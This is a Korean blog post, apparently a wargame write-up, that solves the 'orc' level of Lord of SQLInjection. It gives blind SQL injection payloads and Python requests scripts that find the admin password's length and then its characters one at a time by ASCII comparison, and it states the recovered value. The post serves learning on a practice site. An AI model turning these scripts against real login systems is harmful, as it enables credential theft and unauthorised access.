Yozzang의 해킹일기 💻
article thumbnail
728x90

or이번 포스트에서는 Lord of SQLInjection의 orc문제에 대해 다루겠다.

 


문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.

orc

## 문제 해석 :

해당 문제는 preg_match를 통해 prob, _, ., (, )를 필터링하고 있다. 또한 id값만 있는 경우 "Hello admin"이 출력되고, pw값이 있어야지 문제를 해결할 수 있는 것을 알 수 있다.

 

## 문제 풀이 : 

Blind SQL Injection 기법을 통해 풀어보고자 한다.

pw를 알아야 하기 때문에 먼저 pw의 길이를 알아야한다.

이는 다음 구문을 통해 알 수 있다.

### 사용할 공격문 : pw=' or id='admin' and length(pw) = 1 #

### 실행 결과 :

비밀번호의 길이가 1인가?

실제 계산한 결과, 비밀번호의 길이가 8이므로 8을 삽입하여 다시 실행하겠다.

### 사용할 공격문 : pw=' or id='admin' and length(pw) = 8 #

### 실행 결과 :

비밀번호의 길이가 8인가?

그러나 실제 비밀번호의 경우 길이가 10자리 이상, 많게는 20자리 이상이 있을 수 있으므로 파이썬으로 공격 코드를 작성하여 공격을 실행해보겠다.

### 공격 코드 :

import requests

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?" # 공격 사이트
cookies = {'PHPSESSID': '세션ID'} # 본인의 세션값

pw_len = 0 # 비밀번호 길이 초기화
while 1: # while문 실행
    pw_len += 1 # 비밀번호 길이 + 1
    query = f" 'or id='admin' and length(pw) = {pw_len} #" # 쿼리문 작성
	params = {'pw': query} # 파라미터에 작성한 쿼리문 삽입
    response = requests.get(url, params=params, cookies=cookies) # 요청
    if "Hello admin" in response.text: # Hello admin이 응답에 있다면, 즉 True를 반환한다면
        print("password's length : ", pw_len) # 비밀번호 길이 출력
        break # while문 종료

### 실행 결과 :

실행 결과 (비밀번호 길이)

비밀번호의 길이가 똑같이 8인 것을 알 수 있다.

 

비밀번호의 길이를 알아내면, 각 비밀번호가 무엇인지를 알아내야 한다. 이때, 아스키 코드를 활용하여 구할 수 있다.

 

아스키코드

공격 원리를 간단히 설명하자면, 예를 들어 비밀번호의 첫번째 자리가 'a'인 경우, 이는 아스키코드상의 10진수인 97에 해당한다. 이때, 만약 비밀번호의 첫번째 자리의 아스키코드가 >96이면서 <97이면, 우리는 첫번째 자리가 'a'인 것을 추측해낼 수 있다.

 

이를 똑같이 파이썬 코드로 구현하면 다음과 같다.

### 공격 코드 :

def search_pw(pw_len): # 비밀번호 찾기 함수
    pw = '' # 비밀번호 초기화
    for i in range(1, pw_len+1): # 비밀번호의 길이까지 for문 생성
        print("Round ", i) # 몇 번째 Round인지 출력
        for ch in range(48, 122): # 아스키 코드 0 ~ Z까지 for문 생성
            query = f" ' or id = 'admin' and (ascii(substring(pw, {i}, 1)) < {ch}) #" # 쿼리문 작성
            params = {'pw': query} # 파라미터 삽입
            response = requests.get(url, params=params, cookies=cookies) # 응답 받기
            if "Hello admin" in response.text: # "Hello admin"이 응답 메시지에 포함될 때, 즉 True인 경우
                pw += chr(ch-1) # pw에 아스키 코드를 변환하여 저장
                print("password : ", pw) # 값 출력
                break # 종료

    return pw # 비밀 번호 반환

### 실행 결과 :

실행 결과 (비밀번호)

### 최종 공격문 : pw=095a9852

### 실행 결과 :

공격 성공

## 추가 해석 : 

쿼리문 : ascii(substring(pw, 1, 1)) < 97

ascii() 함수는 아스키 코드를 변환해주는 함수이고, substring() 함수는 값을 자르는 함수이다. 이 쿼리문 같은 경우에는 pw의 1번째부터 1를 자르다는 뜻이다. 예를 들면 apple 같은 경우에는 apple의 첫번째 글자인 a부터 1글자만 자르다는 뜻이다.

 

위해 제시된 비교 쿼리문 말고도 ascii(substring(pw, 1, 1)) = 97를 통해 아스키코드를 알아낼 수 있다.

'Wargame > Lord of SQLInjection' 카테고리의 다른 글

Lord of SQLInjection (6. darkelf)  (0) 2022.05.19
Lord of SQLInjection (5. wolfman)  (0) 2022.05.18
Lord of SQLInjection (3. goblin)  (0) 2022.05.16
Lord of SQLInjection (2. cobolt)  (0) 2022.05.15
Lord of SQLInjection (1. gremlin)  (0) 2022.05.14
profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!